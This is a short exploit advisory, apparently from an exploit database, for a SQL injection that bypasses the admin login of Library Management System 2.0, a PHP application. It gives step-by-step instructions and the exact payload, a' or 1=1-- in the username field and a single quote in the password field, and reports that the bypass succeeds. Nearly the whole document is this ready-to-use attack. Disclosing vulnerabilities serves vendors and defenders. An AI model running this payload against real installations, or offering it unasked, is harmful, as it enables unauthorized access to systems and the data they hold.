Library Management System version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
# Exploit Title: Library Management System 2.0 - Auth Bypass SQL Injection
# Date: 2020-12-09
# Exploit Author: Manish Solanki
# Vendor Homepage: https://www.sourcecodester.com/php/6849/library-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6849&title=Library+Management+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 2.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
#Vulnerable Page: admin page
Open the Application
check the URL:
Open Admin Login
Enter username: a' or 1=1--
Enter password: '
click on login
The SQL payload gets executed and authorization is bypassed successfully